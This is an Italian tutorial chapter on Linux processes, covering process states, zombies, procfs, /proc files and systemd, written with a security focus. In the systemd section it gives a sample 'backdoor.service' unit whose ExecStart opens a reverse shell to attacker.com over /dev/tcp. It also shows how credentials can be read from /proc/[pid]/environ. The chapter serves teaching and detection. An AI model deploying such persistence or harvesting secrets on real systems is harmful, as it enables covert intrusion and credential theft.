Fondamenta
23 min read

I processi: struttura, stati, /proc

Come è fatto un processo Linux, i suoi stati, e cosa puoi imparare leggendo /proc.

linux
processi
proc

Blocco: A — Il kernel e i processi
Prerequisiti: A1 (kernel, ring, syscall)
Collegato a: A3 (memoria), A4 (segnali), D1 (fork ed exec)


Cos'è un processo, davvero

Come sviluppatore hai già un'idea intuitiva di cosa sia un processo: è un programma in esecuzione. Ma questa definizione è troppo vaga per capire quello che succede davvero sotto.

Per il kernel Linux, un processo è un'istanza isolata di esecuzione con queste proprietà:

  • Ha il proprio spazio di memoria virtuale — non vede e non può toccare la memoria degli altri processi
  • Ha un insieme di file descriptor aperti — i suoi canali verso file, socket, pipe
  • Ha un'identità — chi è, chi lo ha creato, con quali permessi gira
  • Ha uno stato — sta girando? Sta aspettando? È sospeso?
  • Ha risorse proprie — tempo CPU consumato, limiti di memoria, segnali pendenti

Il kernel tiene tutte queste informazioni in una struttura dati chiamata task_struct. È una delle strutture più grandi e complesse del kernel Linux — nella versione attuale occupa diverse centinaia di campi. Ogni processo in esecuzione sul sistema ha la sua task_struct in memoria kernel.


Un po' di storia: da batch a multitasking

Negli anni '60, quando i sistemi operativi iniziarono a gestire più programmi contemporaneamente, si pose il problema di come rappresentare internamente ciascun programma in esecuzione. Multics — il sistema sviluppato da MIT, Bell Labs e GE — introdusse il concetto moderno di processo come unità di esecuzione isolata con risorse proprie.

Unix, nato nei Bell Labs nel 1969 come reazione alla complessità di Multics, adottò e semplificò questo modello. La scelta di Unix fu elegante: ogni processo nasce copiando un processo esistente (fork), poi eventualmente si trasforma in un programma diverso (exec). Non esiste un meccanismo separato per "creare un processo da zero". Questa semplicità ha resistito fino ad oggi — Linux segue ancora esattamente lo stesso modello.


Il PID: il numero di identità di un processo

Ogni processo ha un PID (Process ID): un numero intero positivo univoco assegnato dal kernel al momento della creazione. È la carta d'identità del processo.

# Il PID del processo corrente (la tua shell)
echo $$

# PID di tutti i processi in esecuzione
ps aux

# Albero genealogico: chi ha creato chi
pstree -p

# Dettagli di un processo specifico
ps -p 1234 -o pid,ppid,user,comm,stat

Oltre al PID, ogni processo ha un PPID (Parent PID): il PID del processo che lo ha creato. Questo crea una gerarchia ad albero. Al vertice di tutto c'è il processo con PID 1 — su sistemi moderni è systemd (o init su sistemi più vecchi). È il primo processo avviato dal kernel al boot, e da lui discendono direttamente o indirettamente tutti gli altri.

# Visualizza l'albero completo dei processi
pstree -p 1

# Chi è il processo 1?
cat /proc/1/comm
# systemd

Se un processo muore prima dei suoi figli, quei figli diventano orfani. Il kernel li adotta automaticamente assegnando loro come nuovo padre il processo 1 (systemd). Questo evita che rimangano processi "senza padre" che nessuno può controllare.


Gli stati di un processo

Un processo non è sempre in esecuzione. La CPU è una risorsa condivisa tra decine o centinaia di processi, e il kernel decide continuamente chi ottiene il turno. Ogni processo in ogni momento si trova in uno di questi stati:

R — Running (o Runnable)
    Il processo sta usando la CPU adesso,
    oppure è in coda pronto per usarla non appena
    la CPU si libera.

S — Sleeping (interrompibile)
    Il processo è in attesa di qualcosa:
    che arrivi un dato dalla rete, che l'utente
    prema un tasto, che scada un timer.
    Può essere svegliato da un segnale.

D — Disk sleep (non interrompibile)
    Il processo sta aspettando un'operazione I/O
    di basso livello (tipicamente disco).
    Non può essere interrotto neanche da un segnale.
    Un processo bloccato in D per troppo tempo
    è spesso indice di problema hardware.

T — Stopped
    Il processo è stato sospeso (SIGSTOP o Ctrl+Z).
    Non esegue nulla, aspetta di essere ripreso
    con SIGCONT.

Z — Zombie
    Il processo ha terminato la sua esecuzione
    ma il padre non ha ancora "ritirato" il suo
    codice di uscita. Esiste ancora nella tabella
    dei processi ma non consuma CPU né memoria.

X — Dead
    Stato transitorio di un processo appena morto,
    normalmente non visibile.
# Vedere gli stati dei processi
ps aux

# La colonna STAT mostra lo stato:
# S    = sleeping
# Ss   = sleeping, session leader
# R+   = running in foreground
# D    = disk sleep (preoccupante se persiste)
# Z    = zombie
# T    = stopped

# Vedere solo i processi in un certo stato
ps aux | awk '$8 ~ /^Z/'   # zombie
ps aux | awk '$8 ~ /^D/'   # disk sleep

I processi zombie

Il processo zombie merita un approfondimento perché è un concetto che confonde spesso.

Quando un processo termina, il kernel non cancella immediatamente la sua task_struct. La conserva finché il processo padre non chiama la syscall wait() per leggere il codice di uscita del figlio. Solo dopo che il padre ha "ritirato" quel codice il kernel pulisce tutto.

Nel frattempo, il processo figlio è zombie: è morto, ma la sua voce nella tabella dei processi esiste ancora. Non consuma CPU, non consuma memoria (quella è già stata liberata), ma occupa un PID.

# Creare un processo zombie intenzionalmente (per capire)
cat << 'EOF' > crea_zombie.c
#include <stdio.h>
#include <unistd.h>

int main() {
    pid_t pid = fork();       // crea un processo figlio
    if (pid == 0) {
        // Siamo nel figlio: termina subito
        return 0;
    }
    // Siamo nel padre: aspetta 30 secondi senza chiamare wait()
    // Nel frattempo il figlio è zombie
    printf("Figlio PID: %d è zombie. Guarda con: ps aux | grep Z\n", pid);
    sleep(30);
    return 0;
}
EOF

gcc crea_zombie.c -o crea_zombie
./crea_zombie &
ps aux | grep Z

I processi zombie di per sé non sono un problema grave — se il padre li "raccoglie" prima o poi, spariscono. Il problema è un padre che non chiama mai wait() e crea molti figli: la tabella dei processi si riempie di zombie e a un certo punto il sistema esaurisce i PID disponibili e non può più creare nuovi processi.


Filesystem classico e filesystem virtuale: la differenza

Prima di parlare di /proc, è importante capire cosa lo distingue da un filesystem normale — altrimenti sembra magia.

Come funziona un filesystem classico

Quando monti un disco su Linux e ci metti dei file, quello che succede fisicamente è questo: il disco contiene blocchi di dati. Il filesystem (ext4, btrfs, xfs…) è il sistema che organizza quei blocchi e tiene traccia di dove si trova ogni file. Ogni file ha una voce in una struttura chiamata inode — che contiene i metadati del file (permessi, dimensione, timestamp, proprietario) e i puntatori ai blocchi fisici dove stanno i dati.

Quando fai cat /etc/passwd, il kernel:

  1. Trova l'inode di /etc/passwd su disco
  2. Legge i puntatori ai blocchi dati
  3. Legge quei blocchi dal disco
  4. Restituisce i dati al programma

I dati esistono fisicamente su disco. Sono persistenti. Se spegni il computer e lo riaccendi, ci sono ancora.

Come funziona un filesystem virtuale

Un filesystem virtuale non ha disco sottostante. Non ha inode su disco, non ha blocchi fisici. Esiste solo in memoria RAM, e il kernel lo genera dinamicamente ogni volta che qualcuno lo legge.

Linux usa un livello di astrazione chiamato VFS (Virtual File System) che permette di trattare qualsiasi sorgente di dati — disco, rete, o strutture interne del kernel — come se fosse un filesystem normale. I programmi non sanno la differenza: usano le stesse syscall (open, read, write) sia per i file su disco che per i file virtuali.

Programma: open("/proc/1/status") → read() → close()
                    ↓
            VFS (Virtual File System)
           /                        \
    Filesystem su disco          Filesystem virtuale
    (legge da blocchi fisici)    (chiama funzioni del kernel
                                  che generano i dati al momento)

Questo è il motivo per cui i "file" in /proc non hanno una dimensione nel senso tradizionale — se fai ls -la /proc/1/status vedrai dimensione 0, anche se leggendolo ottieni dati. La dimensione non è nota in anticipo perché il contenuto viene generato nel momento della lettura.

Chi gestisce /proc e come lo crea

/proc è un filesystem virtuale chiamato procfs. È implementato direttamente nel kernel Linux come un modulo. Quando il kernel si avvia, monta automaticamente procfs su /proc. Non c'è nessun processo esterno che lo gestisce — è codice kernel.

Il funzionamento è questo: il kernel mantiene in memoria le strutture dati di ogni processo (la task_struct che abbiamo visto). Quando un programma apre /proc/1234/status, il VFS intercetta la richiesta e la passa al modulo procfs. Procfs va a leggere la task_struct del processo 1234, formatta i dati come testo leggibile, e li restituisce. Non li scrive da nessuna parte — li genera ogni volta, freschi, al momento della lettura.

# Dimostrazione: leggi lo stesso file due volte a distanza di tempo
# I valori cambiano perché riflettono lo stato attuale
cat /proc/self/status | grep VmRSS
sleep 1
cat /proc/self/status | grep VmRSS
# I valori potrebbero essere diversi — la memoria è dinamica

Dove risiedono i dati e quando spariscono

I dati di /proc non risiedono in nessun file. Risiedono nelle strutture dati del kernel in RAM. /proc/1234/ esiste finché esiste il processo 1234. Nel momento in cui il processo termina, il kernel libera la sua task_struct dalla memoria, e la directory /proc/1234/ sparisce istantaneamente — non c'è nessuna pulizia da fare, non c'è nessun file da cancellare, semplicemente la sorgente dei dati non esiste più.

# Prova pratica
sleep 60 &
PID=$!
ls /proc/$PID/status   # esiste
kill $PID
ls /proc/$PID/status   # No such file or directory — sparita subito

Dentro /proc trovi molti symlink — ad esempio /proc/self/exe che punta all'eseguibile del processo corrente. Vale la pena capire cos'è un symlink, perché viene nominato spesso.

Su un filesystem Linux, un file è composto da due parti separate:

  • I dati — i byte effettivi del contenuto, memorizzati in blocchi su disco
  • I metadati — le informazioni sul file (permessi, proprietario, timestamp), memorizzati in un inode

Il nome del file nella directory è solo un'etichetta che punta all'inode. Questo permette di avere più nomi che puntano allo stesso inode — si chiamano hard link.

# Crea un file
echo "contenuto" > originale.txt

# Crea un hard link — stesso inode, secondo nome
ln originale.txt copia_hard.txt

# Entrambi puntano allo stesso inode (stesso numero nella prima colonna)
ls -lai originale.txt copia_hard.txt
# 123456 -rw-r--r-- 2 user user ... originale.txt
# 123456 -rw-r--r-- 2 user user ... copia_hard.txt
# ↑ stesso inode  ↑ 2 = due hard link

# Modificare uno modifica anche l'altro (sono lo stesso file)
echo "altro" >> originale.txt
cat copia_hard.txt   # vedi anche "altro"

# Cancellare "originale.txt" non cancella i dati
# perché copia_hard.txt tiene ancora il riferimento all'inode
rm originale.txt
cat copia_hard.txt   # funziona ancora

Un symlink (symbolic link, o soft link) è diverso. Non punta all'inode — punta al percorso di un altro file. È come un post-it che dice "vai a cercare lì". Il symlink ha un proprio inode, separato dall'inode del file target.

# Crea un symlink
ln -s originale.txt link_simbolico.txt

# Il symlink ha un inode diverso
ls -lai originale.txt link_simbolico.txt
# 123456 -rw-r--r-- 1 user user ... originale.txt
# 789012 lrwxrwxrwx 1 user user ... link_simbolico.txt -> originale.txt
# ↑ inode diverso   ↑ la 'l' indica symlink

# Se cancelli originale.txt, il symlink diventa "rotto"
rm originale.txt
cat link_simbolico.txt   # No such file or directory

In /proc i symlink sono usati per rappresentare riferimenti dinamici. /proc/self/exe è un symlink che punta al percorso dell'eseguibile del processo corrente. Ma è speciale: anche se l'eseguibile viene cancellato dal disco, il kernel mantiene il file descriptor aperto e puoi ancora leggerlo attraverso il symlink — perché il kernel tiene il riferimento all'inode, non al percorso.

# Guarda i symlink in /proc
ls -la /proc/self/
# exe -> /bin/bash          ← eseguibile corrente
# cwd -> /home/user         ← directory di lavoro corrente
# root -> /                 ← root del filesystem visto dal processo

/proc: il filesystem che non esiste su disco

Con questa base, /proc diventa molto più chiaro.

/proc è montato come filesystem virtuale procfs all'avvio del kernel. Ogni processo in esecuzione ha una directory numerata con il suo PID. Il contenuto di quelle directory è generato al momento della lettura dalle strutture dati interne del kernel — nessun byte viene mai scritto su disco.

# Vedere che /proc è un filesystem virtuale montato
mount | grep proc
# proc on /proc type proc (rw,nosuid,nodev,noexec,relatime)
# ↑ tipo "proc" = procfs, non ext4 o altro

# Ogni processo ha una directory
ls /proc/
# 1  2  3  ...  1234  ...  self  sys  net  ...

# /proc/self è un symlink speciale: punta sempre alla directory
# del processo che lo sta leggendo, qualunque esso sia
ls -la /proc/self
# self -> 1234  (il PID della tua shell)

I file più importanti dentro /proc/[pid]/

/proc/[pid]/status — il sommario leggibile

cat /proc/self/status

# Output (selezionato):
Name:   bash                  ← nome del processo
State:  S (sleeping)          ← stato attuale
Pid:    1234                  ← PID
PPid:   1000                  ← PID del padre
Uid:    1000 1000 1000 1000   ← UID reale, effettivo, saved, filesystem
Gid:    1000 1000 1000 1000   ← GID reale, effettivo, saved, filesystem
VmRSS:  8192 kB               ← memoria RAM usata ora (Resident Set Size)
VmSize: 16384 kB              ← memoria virtuale totale
Threads: 1                    ← numero di thread
Seccomp: 0                    ← filtro seccomp (0=nessuno)

/proc/[pid]/cmdline — la riga di comando con cui è stato avviato

cat /proc/self/cmdline | tr '\0' ' '
# bash

cat /proc/$(pidof nginx)/cmdline | tr '\0' ' '
# nginx: master process /usr/sbin/nginx -g daemon on; master_process on;

I parametri sono separati dal carattere null (\0), non dallo spazio — ecco perché serve tr '\0' ' ' per renderli leggibili. Questo dettaglio è interessante: un programma potrebbe modificare il proprio cmdline per nascondere i parametri (es. una password passata come argomento).

/proc/[pid]/environ — le variabili d'ambiente

cat /proc/self/environ | tr '\0' '\n'
# HOME=/home/pasquale
# PATH=/usr/bin:/bin:...
# SECRET_API_KEY=abc123   ← variabili sensibili sono qui!

Questo file è leggibile solo dal proprietario del processo o da root. Ma su sistemi mal configurati, o dopo aver compromesso un processo, leggere l'ambiente di un processo rivela credenziali, token API, e configurazioni sensibili passate come variabili d'ambiente.

/proc/[pid]/fd/ — tutti i file descriptor aperti

ls -la /proc/self/fd/

# Output:
# 0 -> /dev/pts/0    ← stdin
# 1 -> /dev/pts/0    ← stdout
# 2 -> /dev/pts/0    ← stderr
# 3 -> /home/user/file.txt   ← un file aperto
# 4 -> socket:[12345]        ← una connessione di rete

Ogni file descriptor del processo è rappresentato come un symlink. Seguendo questi symlink puoi vedere esattamente cosa ha aperto il processo: file, socket, pipe, device. Questo è uno dei primi posti dove guarda un analista durante un'indagine su un processo sospetto.

# Vedere cosa ha aperto un processo specifico
ls -la /proc/$(pidof nginx)/fd/

# Alternativa: lsof (list open files) — più leggibile
lsof -p $(pidof nginx)

/proc/[pid]/maps — la mappa della memoria virtuale

cat /proc/self/maps

# Output:
# 55a3b4200000-55a3b4220000 r-xp 00000000 08:01 123456  /bin/bash
# 55a3b4420000-55a3b4430000 r--p 00020000 08:01 123456  /bin/bash
# 55a3b4430000-55a3b4440000 rw-p 00030000 08:01 123456  /bin/bash
# 7f8a3c000000-7f8a3c200000 r-xp 00000000 08:01 654321  /lib/libc.so.6
# 7ffe12345000-7ffe12367000 rw-p 00000000 00:00 0       [stack]
# [vdso]

Ogni riga è una regione di memoria virtuale. Le colonne sono: indirizzo iniziale-finale, permessi (r=read, w=write, x=execute, p=private), offset nel file, device, inode, e il nome del file sorgente (o una descrizione per regioni speciali come lo stack).

Approfondiremo questo file nel modulo A3 sulla memoria dei processi — è fondamentale per capire buffer overflow, injection e analisi forense.

/proc/[pid]/exe — il percorso dell'eseguibile

ls -la /proc/self/exe
# /proc/self/exe -> /bin/bash

ls -la /proc/$(pidof nginx)/exe
# /proc/12345/exe -> /usr/sbin/nginx

Un malware che ha cancellato il proprio eseguibile dal disco è ancora raggiungibile qui. Il file descriptor rimane aperto finché il processo vive, anche se il file è stato cancellato dal filesystem.

# Recuperare un eseguibile cancellato dal disco ma ancora in memoria
# (tecnica usata in forensics)
cp /proc/$(pidof processo_sospetto)/exe /tmp/recuperato

/proc/[pid]/net/ — lo stato della rete del processo

# Connessioni TCP attive (formato grezzo, valori in esadecimale)
cat /proc/self/net/tcp

# Più leggibile con ss o netstat
ss -tlnp    # socket in ascolto
ss -tnp     # connessioni stabilite con PID

I file speciali globali in /proc

Non tutto in /proc riguarda i singoli processi. Ci sono file globali che espongono lo stato del sistema:

cat /proc/cpuinfo        # informazioni dettagliate sui core CPU
cat /proc/meminfo        # stato della memoria (libera, usata, cache, swap)
cat /proc/version        # versione del kernel
cat /proc/cmdline        # parametri con cui è stato avviato il kernel al boot
cat /proc/modules        # moduli kernel caricati (equivale a lsmod)
cat /proc/mounts         # filesystem montati (equivale a mount)
cat /proc/net/arp        # cache ARP (mac address associati a IP)
cat /proc/net/route      # tabella di routing
cat /proc/sys/           # directory con parametri configurabili del kernel

/proc/sys/ merita attenzione: contiene file scrivibili che cambiano il comportamento del kernel in tempo reale. Sono gli stessi parametri che sysctl modifica.

# Leggere un parametro kernel
cat /proc/sys/net/ipv4/ip_forward
# 0 (il forwarding IP è disabilitato)

# Abilitarlo (richiede root)
echo 1 > /proc/sys/net/ipv4/ip_forward

# Equivalente con sysctl
sysctl -w net.ipv4.ip_forward=1

systemd: il processo 1 e perché è controverso

Al vertice dell'albero dei processi c'è sempre il processo con PID 1. Su sistemi Linux moderni è quasi sempre systemd. Vale la pena capire cosa fa, perché è importante, e perché ha generato — e genera ancora — dibattiti accesi nella comunità Linux.

Il problema che systemd risolve

Per capire systemd bisogna capire cosa c'era prima: SysV init (pronunciato "System Five init"), il sistema di avvio ereditato da Unix System V degli anni '80.

SysV init funzionava così: al boot, il kernel avviava /sbin/init — un programma semplicissimo che leggeva un file di configurazione (/etc/inittab) e lanciava in sequenza una serie di shell script (/etc/init.d/). Ogni servizio aveva il suo script con le funzioni start, stop, restart. Il sistema era comprensibile, trasparente, fatto di file di testo e shell script.

Il problema era la sequenzialità. Gli script venivano eseguiti uno dopo l'altro, in ordine rigido. Se il servizio A impiegava 10 secondi ad avviarsi, tutto il resto aspettava. Su macchine moderne con decine di servizi, il boot durava minuti. Inoltre non c'era un vero sistema di dipendenze: se il servizio B dipendeva da A, lo script di B doveva semplicemente sperare che A fosse già pronto — o inserire sleep 2 sperando che bastasse.

Un altro problema: se un servizio crashava, nessuno se ne accorgeva automaticamente. Poteva restare morto per ore senza che nessuno lo riavviasse.

Cosa fa systemd

systemd — sviluppato da Lennart Poettering a partire dal 2010 — è un sistema di init che risolve questi problemi in modo radicale. Il boot diventa parallelo: systemd analizza le dipendenze tra i servizi e avvia tutto quello che può in parallelo, aspettando solo dove ci sono dipendenze reali. Il risultato è un boot molto più veloce.

Ma systemd non è solo un sistema di avvio più veloce. È un gestore di servizi completo: monitora i servizi, li riavvia se crashano, raccoglie i loro log, gestisce i socket, i mount, i timer, i cgroup. È diventato il centro di controllo del sistema.

# systemd è sempre PID 1
ps -p 1 -o pid,comm
# PID COMMAND
#   1 systemd

# Vedere tutti i servizi e il loro stato
systemctl status

# Stato di un servizio specifico
systemctl status nginx
systemctl status sshd

# Avviare, fermare, riavviare
sudo systemctl start nginx
sudo systemctl stop nginx
sudo systemctl restart nginx

# Abilitare un servizio all'avvio automatico
sudo systemctl enable nginx
sudo systemctl disable nginx

# Vedere i log di un servizio (tramite journald)
journalctl -u nginx
journalctl -u nginx -f          # segui in tempo reale
journalctl -u nginx --since "1 hour ago"

Le unit di systemd

systemd non usa shell script — usa file di configurazione dichiarativi chiamati unit file. Ogni servizio, mount, socket, o timer è descritto da un unit file.

# Dove si trovano i unit file
ls /lib/systemd/system/      # unit di sistema (pacchetti installati)
ls /etc/systemd/system/      # unit personalizzati (override locali)

# Leggere il unit file di ssh
cat /lib/systemd/system/ssh.service

Un unit file tipico ha questa struttura:

[Unit]
Description=OpenBSD Secure Shell server
# Dipende da: la rete deve essere pronta
After=network.target auditd.service
# Condizione: non avviare se questo file esiste
ConditionPathExists=!/etc/ssh/sshd_not_to_be_run

[Service]
# Tipo di servizio: forking = il processo crea un figlio e termina
Type=forking
# Percorso del file PID (per sapere quale processo è il servizio)
PIDFile=/run/sshd.pid
# Comando di avvio
ExecStart=/usr/sbin/sshd -D $SSHD_OPTS
# Riavvia automaticamente se crasha
Restart=on-failure

[Install]
# In quale "target" (runlevel) deve girare
WantedBy=multi-user.target

La sezione [Unit] descrive il servizio e le sue dipendenze. La sezione [Service] dice a systemd come avviarlo e gestirlo. La sezione [Install] dice quando deve partire nel ciclo di boot.

I target: i runlevel moderni

SysV init aveva i runlevel — numeri da 0 a 6 che rappresentavano diversi stati del sistema (0 = spento, 1 = single user, 3 = multiutente senza GUI, 5 = multiutente con GUI, 6 = riavvio). systemd li sostituisce con i target:

# Target principali
# poweroff.target   → sistema spento
# rescue.target     → single user, solo root
# multi-user.target → sistema completo senza GUI (server)
# graphical.target  → sistema completo con GUI (desktop)
# reboot.target     → riavvio

# Vedere il target corrente (il "runlevel" attuale)
systemctl get-default

# Cambiare target (equivale a cambiare runlevel)
sudo systemctl isolate rescue.target     # vai in modalità rescue
sudo systemctl set-default multi-user.target  # imposta default al boot

Perché systemd è controverso

La comunità Unix ha valori profondi: programmi piccoli che fanno una cosa sola e la fanno bene, componenti intercambiabili, semplicità. systemd rompe queste regole — fa tutto, è monolitico, ha milioni di righe di codice, gestisce servizi, log, rete, DNS, login, mount, e altro ancora.

I critici dicono che è troppo grande, troppo complesso, che concentra troppo potere in un unico componente. I sostenitori dicono che risolve problemi reali che SysV init non riusciva a risolvere, e che la complessità è necessaria.

Dal punto di vista della sicurezza, entrambi hanno ragione: un sistema più grande ha più superficie di attacco, ma un sistema che gestisce le dipendenze correttamente e monitora i servizi è anche più robusto. Vale la pena conoscerlo bene in entrambe le direzioni — come funziona normalmente, e come può essere usato (o abusato) da un attaccante che ha già accesso al sistema.

# Vettore di persistenza: un attaccante con accesso root
# può installare un servizio malevolo che parte ad ogni boot
sudo cat << 'EOF' > /etc/systemd/system/backdoor.service
[Unit]
Description=System Update Service

[Service]
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'
Restart=always

[Install]
WantedBy=multi-user.target
EOF

sudo systemctl enable backdoor.service
# Da questo momento, ad ogni riavvio il sistema si connette all'attaccante

# Come difendersi: controllare i servizi abilitati
systemctl list-unit-files --state=enabled
# Cercare qualcosa di sospetto che non dovrebbe esserci

Perché /proc conta per la sicurezza

Per un attaccante che ha accesso a una shell:

/proc è una miniera d'oro. Senza installare nessun tool aggiuntivo, puoi:

  • Trovare credenziali nelle variabili d'ambiente di processi in esecuzione (/proc/[pid]/environ)
  • Vedere tutte le connessioni di rete attive e i processi che le hanno aperte
  • Recuperare eseguibili cancellati dal disco (/proc/[pid]/exe)
  • Capire esattamente con quali parametri girano i servizi (/proc/[pid]/cmdline)
  • Leggere la mappa di memoria di un processo per preparare un attacco più raffinato

Per un difensore o analista:

/proc è l'equivalente di una radiografia del sistema. Permette di ispezionare ogni aspetto di ogni processo senza installare niente — ed è per questo che strumenti come ps, top, lsof, netstat e ss funzionano tutti leggendo da /proc.


Esperimento pratico

# 1. Avvia un processo in background da analizzare
sleep 300 &
PID=$!
echo "PID del processo: $PID"

# 2. Esplora la sua directory in /proc
ls /proc/$PID/

# 3. Leggi le informazioni base
cat /proc/$PID/status | grep -E "Name|State|Pid|PPid|VmRSS"

# 4. Vedi la riga di comando
cat /proc/$PID/cmdline | tr '\0' ' '

# 5. Vedi i file descriptor aperti
ls -la /proc/$PID/fd/

# 6. Leggi la mappa di memoria
cat /proc/$PID/maps

# 7. Trova dove si trova l'eseguibile
ls -la /proc/$PID/exe

# 8. Ora termina il processo e vedi cosa succede a /proc
kill $PID
ls /proc/$PID/    # la directory sparisce immediatamente
# Secondo esperimento: trovare variabili d'ambiente di un processo
# Avvia un processo con una variabile "segreta"
SECRET=password123 sleep 300 &
PID=$!

# Leggi le sue variabili d'ambiente
cat /proc/$PID/environ | tr '\0' '\n' | grep SECRET
# SECRET=password123

kill $PID

Fermati un momento

Hai letto parecchia roba tecnica. Prima di andare avanti, consolidiamo tutto con un'analogia.

Immagina un ospedale. Ogni paziente ricoverato è un processo. Il paziente ha una cartella clinica (la task_struct) che contiene tutto quello che lo riguarda: chi è, in che reparto si trova, quali medicine sta prendendo, chi è il suo medico di riferimento. Quella cartella non è il paziente — è la rappresentazione del paziente nel sistema dell'ospedale.

Il PID è il numero di letto. È univoco, identifica il paziente senza ambiguità. Il PPID è chi lo ha portato in ospedale — il parente che ha firmato l'ingresso.

Lo stato del processo è come le condizioni del paziente: c'è chi è sveglio e attivo (R), chi dorme ma si può svegliare (S), chi è in sala operatoria e non si può disturbare assolutamente (D), chi è in coma farmacologico volontario (T), e chi è clinicamente morto ma il certificato non è ancora stato firmato (Z — zombie).

/proc è il sistema informatico dell'ospedale — quella schermata che l'infermiera guarda al computer. Nessun documento fisico esiste in quella schermata: è tutto generato in tempo reale dai dati del sistema. Puoi vedere la cartella di ogni paziente, cosa sta prendendo, con chi sta parlando, quali esami ha fatto. Se sei l'amministratore del sistema (root), puoi vedere le cartelle di tutti. Se sei un paziente normale, puoi vedere solo la tua.

La cosa più importante da portarsi a casa di questo capitolo: ogni processo è isolato ma trasparente al kernel. È isolato perché non può toccare la memoria degli altri. È trasparente perché il kernel sa tutto di lui, e tramite /proc chiunque abbia i permessi giusti può guardare dentro.


Domande di verifica

  1. Cos'è un processo zombie? È sempre un problema? Quando lo diventa?
  2. /proc non esiste su disco — allora cosa succede quando fai cat /proc/self/status?
  3. Un processo ha cancellato il suo eseguibile dal disco subito dopo essere partito. Come puoi recuperarlo?
  4. Perché le variabili d'ambiente sono un vettore interessante per trovare credenziali su un sistema compromesso?
  5. Cosa indica lo stato D (Disk Sleep) di un processo e perché non può essere interrotto da un segnale?

Precedente: A1 — Il Kernel
Prossimo: A3 — La memoria di un processo

Continua a leggere

La memoria di un processo: stack, heap, segmenti

Stack, heap, BSS, data, text: la mappa di memoria di un processo e perché conta per la sicurezza.

Vai al capitolo